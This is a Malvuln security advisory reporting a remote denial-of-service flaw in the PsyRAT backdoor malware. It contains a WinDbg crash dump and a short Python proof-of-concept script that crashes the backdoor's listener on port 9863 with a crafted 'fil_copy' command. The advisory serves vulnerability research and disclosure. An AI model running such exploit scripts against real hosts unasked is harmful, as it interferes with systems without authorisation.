Backdoor.Win32.PsyRat.b malware suffers from a denial of service vulnerability.
365677d7c72828dbeba71b71220f92a2
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/5817183894cb513239f6aef28895130c_B.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.PsyRat.b
Vulnerability: Remote Denial of Service
Description: The PsyRAT 1.02 malware listens by default on TCP port 9863. Third-party attackers who can reach infected systems can send a specially crafted command payload that results in access violation and crash.
Type: PE32
MD5: 5817183894cb513239f6aef28895130c
Vuln ID: MVID-2021-0307
Dropped files: server.exe
Disclosure: 07/26/2021
Memory Dump:
(f38.160c): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=00000001 edx=0277c51c esi=00000003 edi=00000003
eip=77e5ed3c esp=0277bbcc ebp=0277bd5c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!NtWaitForMultipleObjects+0xc:
77e5ed3c c21400 ret 14h
0:001> .ecxr
eax=00000000 ebx=765a38d0 ecx=00000001 edx=0277c51c esi=00000002 edi=0277cd04
eip=77e4f80a esp=0277c508 ebp=0277c50c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
ntdll!RtlInitAnsiStringEx+0x1a:
77e4f80a 8a01 mov al,byte ptr [ecx] ds:002b:00000001=??
*** ERROR: Symbol file could not be found. Defaulted to export symbols for kernel32.dll -
0:001> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for server.exe
*** ERROR: Module load completed but symbols could not be loaded for server.exe
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
ntdll!RtlInitAnsiStringEx+1a
77e4f80a 8a01 mov al,byte ptr [ecx]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 77e4f80a (ntdll!RtlInitAnsiStringEx+0x0000001a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 00000001
Attempt to read from address 00000001
PROCESS_NAME: server.exe
ADDITIONAL_DEBUG_TEXT:
Use '!findthebuild' command to search for the target build information.
If the build information is available, run '!findthebuild -s ; .reload' to set symbol path and load symbols.
MODULE_NAME: server
FAULTING_MODULE: 77df0000 ntdll
DEBUG_FLR_IMAGE_TIMESTAMP: 42827767
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 00000001
READ_ADDRESS: 00000001
FOLLOWUP_IP:
server+268d
0040268d e9aaf1ffff jmp server+0x183c (0040183c)
MOD_LIST: <ANALYSIS/>
FAULTING_THREAD: 0000160c
BUGCHECK_STR: APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_ONE_BIT_INVALID_POINTER_READ_WRONG_SYMBOLS
PRIMARY_PROBLEM_CLASS: NULL_CLASS_PTR_DEREFERENCE_ONE_BIT
DEFAULT_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_ONE_BIT
LAST_CONTROL_TRANSFER: from 74c615ff to 77e4f80a
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0277c50c 74c615ff 0277c51c 00000001 00000000 ntdll!RtlInitAnsiStringEx+0x1a
0277c528 74c6d9b5 0277c544 00000001 0277d38d kernel32!Basep8BitStringToDynamicUnicodeString+0x1f
0277c54c 0040268d 0277c904 00000001 00000000 kernel32!CopyFileA+0x25
0277c550 0277c904 00000001 00000000 00401610 server+0x268d
0277c554 00000000 00000000 00401610 00401610 0x277c904
STACK_COMMAND: ~1s; .ecxr ; kb
SYMBOL_STACK_INDEX: 3
SYMBOL_NAME: server+268d
FOLLOWUP_NAME: MachineOwner
IMAGE_NAME: server.exe
BUCKET_ID: WRONG_SYMBOLS
FAILURE_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_ONE_BIT_c0000005_server.exe!Unknown
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=9863
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
s.send("\r\n")
time.sleep(0.3)
s.send("\r\n")
time.sleep(0.3)
PAYLOAD="fil_copy AAAA"
s.send(PAYLOAD)
s.close()
print("Backdoor.Win32.PsyRat.b / Remote Denial of Service")
print("MD5: 5817183894cb513239f6aef28895130c")
print("By Malvuln")
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).